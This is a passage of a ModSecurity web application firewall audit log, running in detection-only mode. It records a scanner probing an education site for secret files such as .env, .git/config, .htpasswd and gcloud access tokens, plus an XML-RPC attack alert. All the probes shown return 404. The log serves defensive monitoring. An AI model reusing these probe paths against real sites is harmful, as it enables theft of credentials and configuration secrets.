(http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62d6f73c-Z-- --6166f56c-A-- [16/Jun/2025:03:33:20.265277 +0530] aE9DJ4l8S04UZ4l67-nhTAAAAAk 185.177.72.210 39522 127.0.0.1 7081 --6166f56c-B-- GET /private/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6166f56c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9c8e36bf46ffb47d8930b4e60598c1f91750025000; expires=Sun, 15 Jun 2025 23:03:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6166f56c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.staging"] [unique_id "aE9DJ4l8S04UZ4l67-nhTAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024999616166 649205 (- - -) Stopwatch2: 1750024999616166 649205; combined=2567, p1=538, p2=1931, p3=0, p4=0, p5=97, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6166f56c-Z-- --e514e475-A-- [16/Jun/2025:03:33:22.305997 +0530] aE9DKX2GhYywD7zZgx79KAAAAAM 185.177.72.210 39650 127.0.0.1 7081 --e514e475-B-- GET /bak/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e514e475-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=056f46ce0458e497658bd45bb0e901801750025002; expires=Sun, 15 Jun 2025 23:03:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e514e475-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/private/.env"] [unique_id "aE9DKX2GhYywD7zZgx79KAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025001617784 688308 (- - -) Stopwatch2: 1750025001617784 688308; combined=1791, p1=339, p2=1319, p3=0, p4=0, p5=132, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e514e475-Z-- --260a6b5c-A-- [16/Jun/2025:03:33:24.400121 +0530] aE9DK32GhYywD7zZgx79KQAAAAM 185.177.72.210 39754 127.0.0.1 7081 --260a6b5c-B-- GET /.config/gcloud/access_tokens.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --260a6b5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=839344436b1896568ed0ec8b9d4fdef91750025004; expires=Sun, 15 Jun 2025 23:03:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --260a6b5c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "aE9DK32GhYywD7zZgx79KQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025003743880 656304 (- - -) Stopwatch2: 1750025003743880 656304; combined=2275, p1=466, p2=1704, p3=0, p4=0, p5=105, sr=142, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --260a6b5c-Z-- --c8fbc93f-A-- [16/Jun/2025:03:33:25.486381 +0530] aE9DLLsEVBap6l1Fvp1DEwAAAAQ 185.177.72.210 39796 127.0.0.1 7081 --c8fbc93f-B-- GET /backup.htpasswd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8fbc93f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=37efe753f5ead22ffcf37803b2d19dd91750025005; expires=Sun, 15 Jun 2025 23:03:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8fbc93f-H-- Message: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup.htpasswd"] [unique_id "aE9DLLsEVBap6l1Fvp1DEwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025004732803 753700 (- - -) Stopwatch2: 1750025004732803 753700; combined=2070, p1=399, p2=1548, p3=0, p4=0, p5=123, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8fbc93f-Z-- --0825615f-A-- [16/Jun/2025:03:33:28.622294 +0530] aE9DL0NwpNEMJppxC49U0AAAAAI 185.177.72.210 39946 127.0.0.1 7081 --0825615f-B-- GET /bak/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0825615f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=31f922eb6fc5ae1e64f95ad5fcf224cf1750025008; expires=Sun, 15 Jun 2025 23:03:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0825615f-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.git/config"] [unique_id "aE9DL0NwpNEMJppxC49U0AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025007974939 647417 (- - -) Stopwatch2: 1750025007974939 647417; combined=1707, p1=360, p2=1252, p3=0, p4=0, p5=95, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0825615f-Z-- --ba894e49-A-- [16/Jun/2025:03:33:42.073606 +0530] aE9DPX2GhYywD7zZgx79MwAAAAM 185.177.72.210 52228 127.0.0.1 7081 --ba894e49-B-- GET /:5601/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ba894e49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2e54badbe69db6db81d4f28a73f89c61750025021; expires=Sun, 15 Jun 2025 23:03:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ba894e49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.dist"] [unique_id "aE9DPX2GhYywD7zZgx79MwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025021402687 670981 (- - -) Stopwatch2: 1750025021402687 670981; combined=1873, p1=386, p2=1400, p3=0, p4=0, p5=86, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba894e49-Z-- --63fe032b-A-- [16/Jun/2025:03:33:44.869477 +0530] aE9DQE6Jm8uWY207Wng-XwAAAAE 185.177.72.210 52374 127.0.0.1 7081 --63fe032b-B-- GET /web.config.tmp HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63fe032b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=806057c087925e0177b0aefcd72ec2c21750025024; expires=Sun, 15 Jun 2025 23:03:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63fe032b-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.tmp"] [unique_id "aE9DQE6Jm8uWY207Wng-XwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025024226835 642705 (- - -) Stopwatch2: 1750025024226835 642705; combined=1704, p1=339, p2=1283, p3=0, p4=0, p5=81, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63fe032b-Z-- --04914a35-A-- [16/Jun/2025:03:33:53.756467 +0530] aE9DSUNwpNEMJppxC49U3gAAAAI 185.177.72.210 46948 127.0.0.1 7081 --04914a35-B-- GET /:8000/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04914a35-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=87cb09e67c2196a1590a28091648b8731750025033; expires=Sun, 15 Jun 2025 23:03:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04914a35-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/environnements/.env"] [unique_id "aE9DSUNwpNEMJppxC49U3gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025033101196 655333 (- - -) Stopwatch2: 1750025033101196 655333; combined=2216, p1=500, p2=1611, p3=0, p4=0, p5=105, sr=139, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04914a35-Z-- --267e1604-A-- [16/Jun/2025:03:33:59.552209 +0530] aE9DTh-kH31pk4mNbsVCEQAAAAo 128.199.112.101 47182 127.0.0.1 7081 --267e1604-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --267e1604-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --267e1604-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9DTh-kH31pk4mNbsVCEQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025038456712 1095563 (- - -) Stopwatch2: 1750025038456712 1095563; combined=2341, p1=349, p2=1585, p3=44, p4=65, p5=183, sr=93, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --267e1604-Z-- --d97e2e47-A-- [16/Jun/2025:03:34:00.558179 +0530] aE9DT32GhYywD7zZgx79PgAAAAM 185.177.72.210 57010 127.0.0.1 7081 --d97e2e47-B-- GET /:5000/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d97e2e47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a3b62b4850a8c2b89a473ea16ab8624a1750025040; expires=Sun, 15 Jun 2025 23:04:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d97e2e47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/environments/.env"] [unique_id "aE9DT32GhYywD7zZgx79PgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025039884603 673644 (- - -) Stopwatch2: 1750025039884603 673644; combined=2472, p1=520, p2=1853, p3=0, p4=0, p5=99, sr=130, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d97e2e47-Z-- --5ab86448-A-- [16/Jun/2025:03:34:13.478913 +0530] aE9DXH2GhYywD7zZgx79RQAAAAM 185.177.72.210 46348 127.0.0.1 7081 --5ab86448-B-- GET /leafer-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5ab86448-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c2f698617f9b2c50fff7fa8e56a6d8481750025053; expires=Sun, 15 Jun 2025 23:04:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5ab86448-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/leafer-app/.env"] [unique_id "aE9DXH2GhYywD7zZgx79RQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025052815508 663487 (- - -) Stopwatch2: 1750025052815508 663487; combined=1916, p1=387, p2=1433, p3=0, p4=0, p5=95, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ab86448-Z-- --41e0b05e-A-- [16/Jun/2025:03:34:19.579499 +0530] aE9DYlR6EeXjkGzEkbloBAAAAAs 185.177.72.210 46594 127.0.0.1 7081 --41e0b05e-B-- GET /.git/hooks/pre-receive HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --41e0b05e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59054c5864c2408ae17206a166771a201750025059; expires=Sun, 15 Jun 2025 23:04:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --41e0b05e-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/pre-receive"] [unique_id "aE9DYlR6EeXjkGzEkbloBAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025058944247 635317 (- - -) Stopwatch2: 1750025058944247 635317; combined=2137, p1=383, p2=1656, p3=0, p4=0, p5=97, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --41e0b05e-Z-- --04ff5935-A-- [16/Jun/2025:03:34:26.511643 +0530] aE9DaYl8S04UZ4l67-nhbwAAAAk 185.177.72.210 38370 127.0.0.1 7081 --04ff5935-B-- GET /bitrix/modules/serverfilelog-1.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04ff5935-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f53fa3a6e8c21b92d0bbcfbe950c2a861750025066; expires=Sun, 15 Jun 2025 23:04:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04ff5935-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/modules/serverfilelog-1.dat"] [unique_id "aE9DaYl8S04UZ4l67-nhbwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025065857137 654608 (- - -) Stopwatch2: 1750025065857137 654608; combined=1970, p1=315, p2=1539, p3=0, p4=0, p5=115, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04ff5935-Z-- --246e5f46-A-- [16/Jun/2025:03:34:33.614135 +0530] aE9DcHZqyQ8YfVGvJU7bxwAAAAY 185.177.72.210 42222 127.0.0.1 7081 --246e5f46-B-- GET /node_modules/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --246e5f46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c449b445ad2172e68426746bf488f101750025073; expires=Sun, 15 